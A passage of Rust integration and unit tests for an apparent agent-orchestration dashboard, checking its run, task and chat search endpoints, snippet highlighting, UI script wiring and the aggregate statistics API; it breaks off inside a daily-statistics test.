18685        assert_eq!(list.status, 200);
18686        let listed = list.json();
18687        let ids: Vec<&str> = listed
18688            .as_array()
18689            .expect("an array")
18690            .iter()
18691            .map(|r| r["id"].as_str().expect("an id"))
18692            .collect();
18693        assert_eq!(
18694            ids,
18695            vec!["20260902-140501-good"],
18696            "one unreadable run must not cost the operator the whole history"
18697        );
18698        assert_eq!(detail.status, 500);
18699        assert!(
18700            detail.json()["error"]
18701                .as_str()
18702                .is_some_and(|e| e.contains("run.json")),
18703            "the failure names the file to look at: {}",
18704            detail.body
18705        );
18706        // A skipped run has to be countable somewhere, or the UI shows an
18707        // empty history with nothing to explain it - which is exactly what a
18708        // directory full of older-schema runs looks like.
18709        let health = f.get("/api/health").await;
18710        assert_eq!(health.json()["runs_unreadable"], 1);
18711    }
18712
18713    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18714    #[tokio::test]
18715    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18716        let f = Fixture::start().await;
18717        let runs = f.runs();
18718        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18719        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18720        // Text three levels down, in a shape no current RunState has: an older
18721        // schema must still search.
18722        let path = runs.join("20260902-140502-bbbb").join("run.json");
18723        let mut v: serde_json::Value =
18724            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18725        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18726        std::fs::write(&path, v.to_string()).unwrap();
18727        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18728        std::fs::write(
18729            runs.join("20260902-140503-cccc").join("run.json"),
18730            "{ not json",
18731        )
18732        .unwrap();
18733
18734        let res = f.get("/api/search?scope=runs&q=quokka").await;
18735        assert_eq!(res.status, 200, "{}", res.body);
18736        let v = res.json();
18737        assert_eq!(v["total"], 1, "{v}");
18738        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18739        assert_eq!(v["hits"][0]["field"], "text");
18740        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18741        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18742        assert!(
18743            parts
18744                .iter()
18745                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18746            "{v}"
18747        );
18748        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18749        assert_eq!(
18750            flat, "The Quokka leaks across threads",
18751            "whitespace is collapsed"
18752        );
18753
18754        // Terms are ANDed, across different fields, case-insensitively.
18755        let both = f
18756            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18757            .await
18758            .json();
18759        assert_eq!(both["total"], 1, "{both}");
18760        let neither = f
18761            .get("/api/search?scope=runs&q=quokka%20zebra")
18762            .await
18763            .json();
18764        assert_eq!(neither["total"], 0, "{neither}");
18765        // Everything in the task statement is reachable, not only the row text.
18766        let stmt = f
18767            .get("/api/search?scope=runs&q=mobile%20first")
18768            .await
18769            .json();
18770        assert_eq!(stmt["total"], 2, "{stmt}");
18771        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18772        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18773    }
18774
18775    #[test]
18776    fn snippet_ignores_terms_longer_than_the_field() {
18777        let terms = ["ok".to_owned(), "elephant".to_owned()];
18778        let parts = snippet_of("ok", &terms);
18779        assert_eq!(
18780            parts,
18781            vec![SnippetPart {
18782                text: "ok".to_owned(),
18783                hit: true
18784            }]
18785        );
18786    }
18787
18788    #[test]
18789    fn snippet_marks_matches_longer_than_the_window() {
18790        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18791        let hit_len = |parts: &[SnippetPart]| -> usize {
18792            parts
18793                .iter()
18794                .filter(|p| p.hit)
18795                .map(|p| p.text.chars().count())
18796                .sum()
18797        };
18798        let total =
18799            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18800
18801        let long = "a".repeat(120);
18802        let parts = snippet_of(&long, std::slice::from_ref(&long));
18803        assert!(hit_len(&parts) > 0, "{parts:?}");
18804        assert!(total(&parts) <= cap);
18805
18806        let ja = "あ".repeat(130);
18807        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18808        assert!(hit_len(&parts) > 0, "{parts:?}");
18809        assert!(total(&parts) <= cap);
18810
18811        // A short hit, then one straddling the window's end.
18812        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18813        let term = format!("ab{}", "c".repeat(100));
18814        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18815        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18816        assert!(total(&parts) <= cap);
18817
18818        // Only the head matches: not highlighted.
18819        let text = format!("{}z", "a".repeat(119));
18820        let parts = snippet_of(&text, &["a".repeat(120)]);
18821        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18822    }
18823
18824    #[tokio::test]
18825    async fn search_caps_hits_and_snippet_length() {
18826        let f = Fixture::start().await;
18827        let runs = f.runs();
18828        for n in 0..(SEARCH_MAX_HITS + 5) {
18829            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18830        }
18831        let v = f.get("/api/search?scope=runs&q=web").await.json();
18832        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18833        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18834        assert_eq!(v["truncated"], true);
18835        // Every listed run hit carries its list row for the page's filters.
18836        assert!(
18837            v["hits"]
18838                .as_array()
18839                .unwrap()
18840                .iter()
18841                .all(|h| h["run"]["status"] == "merged")
18842        );
18843
18844        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18845        let parts = snippet_of(&long, &["needle".to_owned()]);
18846        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18847        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18848        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18849    }
18850
18851    #[tokio::test]
18852    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18853        let f = Fixture::start().await;
18854        let queue = f.queue();
18855        let mut t = Task::new(
18856            "short title".to_owned(),
18857            "line one\nthe hidden Armadillo detail".to_owned(),
18858            PathBuf::from("/repo/magi"),
18859            Source::Agent {
18860                run: "r1".to_owned(),
18861                node: "chat".to_owned(),
18862            },
18863        );
18864        t.last_error = Some("disk full on /tmp".to_owned());
18865        queue.put(&mut t).expect("file the task");
18866
18867        for (q, want) in [
18868            ("armadillo", 1),
18869            ("disk%20FULL", 1),
18870            ("chat", 1),
18871            ("queued", 1),
18872            ("short%20nothing", 0),
18873        ] {
18874            let v = f
18875                .get(&format!("/api/search?scope=tasks&q={q}"))
18876                .await
18877                .json();
18878            assert_eq!(v["total"], want, "{q}: {v}");
18879        }
18880        for bad in [
18881            "/api/search?scope=tasks&q=",
18882            "/api/search?scope=tasks&q=%20",
18883            "/api/search?scope=chats&q=",
18884            "/api/search?scope=chats&q=%20",
18885            "/api/search?scope=nope&q=a",
18886            "/api/search?q=a",
18887        ] {
18888            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18889        }
18890    }
18891
18892    /// Write one conversation file the way the store reads it back.
18893    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18894        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18895            .expect("seat value");
18896        let turns: Vec<serde_json::Value> = turns
18897            .iter()
18898            .map(|(who, body)| {
18899                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18900            })
18901            .collect();
18902        let doc = serde_json::json!({
18903            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
18904            "status": status, "turns": turns,
18905            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
18906            "seat": seat,
18907        });
18908        let dir = f.home.path().join("talks");
18909        std::fs::create_dir_all(&dir).expect("talks dir");
18910        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
18911    }
18912
18913    #[test]
18914    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
18915        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18916            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18917            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18918            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18919            "seat": crate::agent::SeatState::new("talk", "test", 1)
18920        })).unwrap();
18921        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18922        talk.title = Some(talk::ChatTitle {
18923            text: "最近の話題".into(),
18924            source: talk::TitleSource::Generated,
18925        });
18926        let doc = talk_search_doc(&talk);
18927        assert_eq!(doc["title"], "最近の話題");
18928        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18929        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18930        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18931    }
18932
18933    #[tokio::test]
18934    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18935        let f = Fixture::start().await;
18936        write_talk(
18937            &f,
18938            "20260901-000001-aaaa",
18939            "open",
18940            &[
18941                (
18942                    "operator",
18943                    "\n  Why does the Pangolin cache expire?\nsecond line",
18944                ),
18945                ("agent", "Because the TTL is thirty seconds."),
18946            ],
18947        );
18948        write_talk(
18949            &f,
18950            "20260901-000002-bbbb",
18951            "closed",
18952            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18953        );
18954        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18955
18956        let search = |q: &'static str| {
18957            let f = &f;
18958            async move {
18959                f.get(&format!("/api/search?scope=chats&q={q}"))
18960                    .await
18961                    .json()
18962            }
18963        };
18964
18965        let v = search("PANGOLIN").await;
18966        assert_eq!(v["scope"], "chats");
18967        assert_eq!(v["total"], 1, "{v}");
18968        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18969        assert_eq!(v["hits"][0]["field"], "title");
18970        assert_eq!(v["unreadable"], 1, "{v}");
18971        let marked: Vec<&str> = v["hits"][0]["snippet"]
18972            .as_array()
18973            .unwrap()
18974            .iter()
18975            .filter(|p| p["hit"] == true)
18976            .map(|p| p["text"].as_str().unwrap())
18977            .collect();
18978        assert_eq!(marked, ["Pangolin"]);
18979
18980        // An agent turn, in a closed conversation.
18981        let v = search("zebra").await;
18982        assert_eq!(v["total"], 1, "{v}");
18983        assert_eq!(v["hits"][0]["field"], "agent");
18984        // Words may sit in different turns; all must be present.
18985        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18986        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18987        // Bookkeeping is not searched.
18988        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18989            assert_eq!(search(q).await["total"], 0, "{q}");
18990        }
18991        // The first line only is the title; the second line is still a turn.
18992        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18993        // Open conversations are listed before closed ones.
18994        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18995
18996        let v = f.get("/api/search?scope=nope&q=a").await;
18997        assert_eq!(v.status, 400);
18998        assert!(
18999            v.body.contains("scope must be runs, tasks or chats"),
19000            "{}",
19001            v.body
19002        );
19003    }
19004
19005    #[test]
19006    fn a_question_card_links_a_task_id_to_the_task_page() {
19007        let start = APP_JS
19008            .find("function updateAskCard(")
19009            .expect("updateAskCard exists");
19010        let body = &APP_JS[start..];
19011        let body = &body[..body.find("\n}\n").expect("function end")];
19012        assert!(body.contains("question.run_is_task"));
19013        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19014        assert!(body.contains("`#/runs/${question.run}`"));
19015        assert!(body.contains("\"task\" : \"run\""));
19016    }
19017
19018    #[test]
19019    fn plain_text_message_surfaces_go_through_linkify() {
19020        assert!(APP_JS.contains("function linkify("));
19021        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19022        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19023        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19024        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19025        assert!(!APP_JS.contains("innerHTML = text"));
19026    }
19027
19028    #[test]
19029    fn implementation_rate_views_keep_independent_samples() {
19030        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19031            let a = stats::AgentStats {
19032                competitive_entered: competitive_n,
19033                competitive_wins: usize::from(competitive_n > 0),
19034                solo_entered: solo_n,
19035                solo_adopted: 2 * usize::from(solo_n > 0),
19036                ..Default::default()
19037            };
19038            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19039            for (key, n, numerator) in [
19040                ("competitive_win_rate", competitive_n, a.competitive_wins),
19041                ("solo_adoption_rate", solo_n, a.solo_adopted),
19042            ] {
19043                if n == 0 {
19044                    assert!(v[key].is_null());
19045                } else {
19046                    assert_eq!(v[key]["denominator"], n);
19047                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19048                }
19049            }
19050        }
19051        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19052        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19053        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19054        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19055    }
19056
19057    #[test]
19058    fn stats_bars_share_one_id_keyed_plan() {
19059        let start = APP_JS
19060            .find("function statsBarRows(")
19061            .expect("statsBarRows exists");
19062        let body = &APP_JS[start..];
19063        let body = &body[..body.find("\n}\n").expect("function end")];
19064        assert!(body.contains("statsBarPlan(rows)"));
19065        assert!(body.contains("statsAgentTone(row.agent)"));
19066        assert!(!body.contains("candTone(i)"));
19067        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19068        for root in [
19069            "stats-agents-bars",
19070            "stats-solo-bars",
19071            "stats-reviewers-bars",
19072        ] {
19073            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19074        }
19075    }
19076
19077    #[test]
19078    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19079        let start = APP_JS
19080            .find("function renderStatsReviewerScatter(")
19081            .expect("renderStatsReviewerScatter exists");
19082        let body = &APP_JS[start..];
19083        let body = &body[..body.find("\n}\n").expect("function end")];
19084        assert!(body.contains("statsScatterPlan(reviewers)"));
19085        assert!(body.contains("statsAgentTone(d.agent)"));
19086        assert!(APP_JS.contains("function statsScatterPlan("));
19087        assert!(
19088            APP_JS.contains("d.submitted < STATS_LOW_N")
19089                || APP_JS.contains("r.submitted < STATS_LOW_N")
19090        );
19091        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19092        assert!(APP_CSS.contains(".precision-scatter"));
19093    }
19094
19095    #[test]
19096    fn advisor_reflection_is_drawn_as_stacked_segments() {
19097        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19098        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19099        let html = include_str!("../assets/ui/index.html");
19100        assert!(html.contains("Approximate"));
19101        for label in ["reflected strongly", "faint", "no proposal"] {
19102            assert!(html.contains(label));
19103        }
19104        let css = include_str!("../assets/ui/app.css");
19105        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19106            assert!(css.contains(&format!(".{c} {{")));
19107        }
19108    }
19109
19110    #[test]
19111    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19112        assert!(APP_JS.contains("function statsDailyPlan("));
19113        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19114        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19115    }
19116
19117    #[test]
19118    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19119        let start = APP_JS
19120            .find("function scheduleSearch(")
19121            .expect("scheduleSearch exists");
19122        let body = &APP_JS[start..];
19123        let body = &body[..body.find("\n}\n").expect("function end")];
19124        assert!(body.contains("s.seq += 1"));
19125    }
19126
19127    /// The dashboard reads every run's state itself rather than trusting a
19128    /// separately-maintained count, so an unreadable run must be counted the
19129    /// same way `/api/health` counts it - never silently dropped the way the
19130    /// CLI's own `stats::load_all` drops it.
19131    #[tokio::test]
19132    async fn stats_runs_unreadable_matches_health() {
19133        let f = Fixture::start().await;
19134        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19135        let broken = f.runs().join("20260902-140502-bad");
19136        std::fs::create_dir_all(&broken).expect("run dir");
19137        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19138
19139        let stats = f.get("/api/stats").await;
19140        let health = f.get("/api/health").await;
19141
19142        assert_eq!(stats.status, 200);
19143        assert_eq!(stats.json()["totals"]["runs"], 1);
19144        assert_eq!(stats.json()["runs_unreadable"], 1);
19145        assert_eq!(
19146            stats.json()["runs_unreadable"],
19147            health.json()["runs_unreadable"],
19148            "the dashboard and /api/health must never disagree about how many \
19149             runs could not be read"
19150        );
19151    }
19152
19153    #[tokio::test]
19154    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19155        let f = Fixture::start().await;
19156        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19157        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19158        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19159
19160        let totals = &f.get("/api/stats").await.json()["totals"];
19161        assert_eq!(totals["runs"], 3);
19162        assert_eq!(totals["merged"], 1);
19163        assert_eq!(totals["stalled"], 1);
19164        assert_eq!(totals["in_progress"], 1);
19165        // A stalled run must never read as blocked/merged/ready - it is its
19166        // own bucket, not folded into a "decided" one.
19167        assert_eq!(totals["blocked"], 0);
19168        assert_eq!(totals["ready"], 0);
19169    }
19170
19171    #[tokio::test]
19172    async fn stats_advisors_report_proposals_and_reflection() {
19173        use crate::advise::{Advice, AdvisorRecord, Reflection};
19174        use crate::verdict::Proposal;
19175
19176        let f = Fixture::start().await;
19177        let mut state = RunState::new(
19178            PathBuf::from("/repo/magi"),
19179            "main".to_owned(),
19180            "0123456789abcdef".to_owned(),
19181            "task".to_owned(),
19182            Config::default(),
19183        );
19184        state.id = "20260902-140501-a".to_owned();
19185        state.status = RunStatus::Merged;
19186        state.advice = Some(Advice {
19187            records: vec![
19188                AdvisorRecord {
19189                    seat: "advisor-1".to_owned(),
19190                    agent: "alpha".to_owned(),
19191                    proposal: Some(Proposal {
19192                        approach: "do it".to_owned(),
19193                        key_tradeoff: "speed over memory".to_owned(),
19194                        risks: Vec::new(),
19195                        touches: Vec::new(),
19196                        why_not_naive: "breaks under load".to_owned(),
19197                    }),
19198                    error: None,
19199                    duration_ms: 0,
19200                    reflection: Reflection::Strong,
19201                },
19202                AdvisorRecord {
19203                    seat: "advisor-2".to_owned(),
19204                    agent: "alpha".to_owned(),
19205                    proposal: None,
19206                    error: Some("timed out".to_owned()),
19207                    duration_ms: 0,
19208                    reflection: Reflection::Absent,
19209                },
19210            ],
19211            synthesis: Some("blended brief".to_owned()),
19212        });
19213        let dir = f.runs().join(&state.id);
19214        std::fs::create_dir_all(&dir).expect("run dir");
19215        std::fs::write(
19216            dir.join("run.json"),
19217            serde_json::to_string_pretty(&state).expect("serialize run"),
19218        )
19219        .expect("write run.json");
19220
19221        // `alpha` is in no roster here; this test is about the rates.
19222        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19223        let alpha = advisors
19224            .as_array()
19225            .expect("an array")
19226            .iter()
19227            .find(|a| a["agent"] == "alpha")
19228            .expect("alpha row");
19229        assert_eq!(alpha["seated"], 2);
19230        assert_eq!(alpha["proposed"], 1);
19231        assert_eq!(alpha["absent"], 1);
19232        assert_eq!(alpha["strong"], 1);
19233        assert_eq!(alpha["faint"], 0);
19234        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19235    }
19236
19237    #[tokio::test]
19238    async fn stats_hides_agents_outside_the_roster_unless_all() {
19239        use crate::run::Candidate;
19240        let repo = TempDir::new().expect("repo dir");
19241        std::fs::write(
19242            repo.path().join("magi.toml"),
19243            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19244        )
19245        .expect("magi.toml");
19246        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
19247        let mut state = RunState::new(
19248            PathBuf::from("/repo/magi"),
19249            "main".to_owned(),
19250            "0123456789abcdef".to_owned(),
19251            "task".to_owned(),
19252            Config::default(),
19253        );
19254        state.id = "20260902-140501-a".to_owned();
19255        state.status = RunStatus::Merged;
19256        for (label, agent) in [('A', "keep"), ('B', "retired")] {
19257            let mut c: Candidate = serde_json::from_value(serde_json::json!({
19258                "index": 0, "label": label.to_string(), "agent": agent,
19259                "branch": "b", "worktree": "/w",
19260            }))
19261            .expect("candidate");
19262            c.label = label;
19263            state.candidates.push(c);
19264        }
19265        let dir = f.runs().join(&state.id);
19266        std::fs::create_dir_all(&dir).expect("run dir");
19267        std::fs::write(
19268            dir.join("run.json"),
19269            serde_json::to_string_pretty(&state).expect("serialize run"),
19270        )
19271        .expect("write run.json");
19272
19273        let agents_of = |v: &serde_json::Value| -> Vec<String> {
19274            v["agents"]
19275                .as_array()
19276                .expect("array")
19277                .iter()
19278                .map(|a| a["agent"].as_str().unwrap().to_owned())
19279                .collect()
19280        };
19281        let hidden = f.get("/api/stats").await.json();
19282        assert_eq!(agents_of(&hidden), ["keep"]);
19283        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
19284        assert_eq!(hidden["totals"]["runs"], 1);
19285
19286        let all = f.get("/api/stats?all=true").await.json();
19287        assert_eq!(agents_of(&all).len(), 2);
19288        assert_eq!(all["retired_hidden"], serde_json::json!([]));
19289        // Verify competitive and solo keys exist on agent entries
19290        let keep_agent = all["agents"]
19291            .as_array()
19292            .unwrap()
19293            .iter()
19294            .find(|a| a["agent"] == "keep")
19295            .unwrap();
19296        assert_eq!(keep_agent["competitive_entered"], 1);
19297        assert_eq!(keep_agent["competitive_wins"], 0);
19298        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
19299        assert_eq!(keep_agent["solo_entered"], 0);
19300        assert_eq!(keep_agent["solo_adopted"], 0);
19301        assert!(keep_agent["solo_adoption_rate"].is_null());
19302    }
19303
19304    #[tokio::test]
19305    async fn stats_release_bumps_split_clean_from_attention() {
19306        use crate::run::ReleaseBump;
19307
19308        let f = Fixture::start().await;
19309
19310        let mut clean = RunState::new(
19311            PathBuf::from("/repo/magi"),
19312            "main".to_owned(),
19313            "0123456789abcdef".to_owned(),
19314            "task".to_owned(),
19315            Config::default(),
19316        );
19317        clean.id = "20260902-140501-a".to_owned();
19318        clean.status = RunStatus::Merged;
19319        clean.release_bump = Some(ReleaseBump {
19320            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
19321            version: Some("1.0.0".to_owned()),
19322            automerge_enabled: true,
19323            merged_directly: false,
19324            local: false,
19325            release: None,
19326            problem: None,
19327            action_required: None,
19328            skipped: None,
19329        });
19330
19331        let mut blocked = RunState::new(
19332            PathBuf::from("/repo/magi"),
19333            "main".to_owned(),
19334            "0123456789abcdef".to_owned(),
19335            "task".to_owned(),
19336            Config::default(),
19337        );
19338        blocked.id = "20260902-140502-b".to_owned();
19339        blocked.status = RunStatus::Merged;
19340        blocked.release_bump = Some(ReleaseBump {
19341            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
19342            version: Some("1.0.1".to_owned()),
19343            automerge_enabled: false,
19344            merged_directly: false,
19345            local: false,
19346            release: None,
19347            problem: Some("checks red".to_owned()),
19348            action_required: Some("look at the PR".to_owned()),
19349            skipped: None,
19350        });
19351
19352        for state in [&clean, &blocked] {
19353            let dir = f.runs().join(&state.id);
19354            std::fs::create_dir_all(&dir).expect("run dir");
19355            std::fs::write(
19356                dir.join("run.json"),
19357                serde_json::to_string_pretty(state).expect("serialize run"),
19358            )
19359            .expect("write run.json");
19360        }
19361
19362        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19363        assert_eq!(bumps["merged"], 2);
19364        assert_eq!(bumps["recorded"], 2);
19365        assert_eq!(bumps["pr_opened"], 2);
19366        assert_eq!(bumps["automerge_enabled"], 1);
19367        assert_eq!(bumps["needs_attention"], 1);
19368        assert_eq!(bumps["clean"], 1);
19369        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
19370        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
19371    }
19372
19373    #[tokio::test]
19374    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
19375        let f = Fixture::start().await;
19376        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19377
19378        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
19379        assert_eq!(bumps["merged"], 1);
19380        assert_eq!(bumps["recorded"], 0);
19381        // `merged` is nonzero, so coverage still reads as a real 0%, not an
19382        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
19383        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
19384        // `pr_opened` and `recorded` are both zero here, so these rates have
19385        // no denominator to compute from and must be null.
19386        assert_eq!(bumps["automerge_rate"], Value::Null);
19387        assert_eq!(bumps["attention_rate"], Value::Null);
19388    }
19389
19390    #[tokio::test]
19391    async fn stats_queue_counts_come_from_the_live_queue() {
19392        let f = Fixture::start().await;
19393        let q = f.queue();
19394        let mut queued = Task::new(
19395            "queued task".to_owned(),
19396            "do it".to_owned(),
19397            PathBuf::from("/repo"),
19398            Source::Human,
19399        );
19400        q.put(&mut queued).expect("put queued");
19401        let mut held = Task::new(
19402            "held task".to_owned(),
19403            "do it later".to_owned(),
19404            PathBuf::from("/repo"),
19405            Source::Human,
19406        );
19407        held.hold_machine(Some("out of attempts".to_owned()));
19408        q.put(&mut held).expect("put held");
19409
19410        let queue = f.get("/api/stats").await.json()["queue"].clone();
19411        assert_eq!(queue["queued"], 1);
19412        assert_eq!(queue["held"], 1);
19413        assert_eq!(queue["running"], 0);
19414        assert_eq!(queue["done"], 0);
19415        assert_eq!(queue["failed"], 0);
19416        assert_eq!(queue["blocked"], 0);
19417    }
19418
19419    #[tokio::test]
19420    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
19421        let f = Fixture::start().await;
19422        let stats = f.get("/api/stats").await;
19423        assert_eq!(stats.status, 200);
19424        assert_eq!(stats.json()["totals"]["runs"], 0);
19425        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
19426        assert_eq!(stats.json()["runs_unreadable"], 0);
19427        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
19428        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
19429        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
19430        assert_eq!(stats.json()["repo"], Value::Null);
19431    }
19432
19433    #[tokio::test]
19434    async fn stats_lists_every_repository_with_runs_recorded() {
19435        let f = Fixture::start().await;
19436        write_run_repo(
19437            &f.runs(),
19438            "20260902-140501-a",
19439            RunStatus::Merged,
19440            "/repos/a",
19441        );
19442        write_run_repo(
19443            &f.runs(),
19444            "20260902-140502-b",
19445            RunStatus::Merged,
19446            "/repos/a",
19447        );
19448        write_run_repo(
19449            &f.runs(),
19450            "20260902-140503-c",
19451            RunStatus::Blocked,
19452            "/repos/b",
19453        );
19454
19455        let stats = f.get("/api/stats").await;
19456        assert_eq!(stats.status, 200);
19457        // Unfiltered - the aggregate across both repositories.
19458        assert_eq!(stats.json()["totals"]["runs"], 3);
19459        assert_eq!(stats.json()["repo"], Value::Null);
19460
19461        let repos = stats.json()["repos"].clone();
19462        let repos = repos.as_array().unwrap();
19463        assert_eq!(repos.len(), 2);
19464        // Busiest (2 runs) first.
19465        assert_eq!(repos[0]["repo"], "/repos/a");
19466        assert_eq!(repos[0]["name"], "a");
19467        assert_eq!(repos[0]["runs"], 2);
19468        assert_eq!(repos[1]["repo"], "/repos/b");
19469        assert_eq!(repos[1]["runs"], 1);
19470    }
19471
19472    #[tokio::test]
19473    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19474        let f = Fixture::start().await;
19475        write_run_repo(
19476            &f.runs(),
19477            "20260902-140501-a",
19478            RunStatus::Merged,
19479            "/repos/a",
19480        );
19481        write_run_repo(
19482            &f.runs(),
19483            "20260902-140502-b",
19484            RunStatus::Blocked,
19485            "/repos/b",
19486        );
19487
19488        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19489        assert_eq!(stats.status, 200);
19490        assert_eq!(stats.json()["totals"]["runs"], 1);
19491        assert_eq!(stats.json()["totals"]["merged"], 1);
19492        assert_eq!(stats.json()["repo"], "/repos/a");
19493        // The repository list itself is unaffected by the filter - it is
19494        // what a client switches repositories from.
19495        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19496        // runs_unreadable is a whole-workload count, never scoped to the
19497        // selected repository - see StatsView::runs_unreadable's own doc.
19498        assert_eq!(stats.json()["runs_unreadable"], 0);
19499    }
19500
19501    #[tokio::test]
19502    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19503        let f = Fixture::start().await;
19504        write_run_repo(
19505            &f.runs(),
19506            "20260902-140501-a",
19507            RunStatus::Merged,
19508            "/repos/a",
19509        );
19510        write_run_repo(
19511            &f.runs(),
19512            "20260902-140502-b",
19513            RunStatus::Merged,
19514            "/repos/b",
19515        );
19516
19517        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19518            let json = f.get(uri).await.json();
19519            let daily = json["daily"].as_array().expect("daily is an array");
19520            assert_eq!(daily.len(), 30);
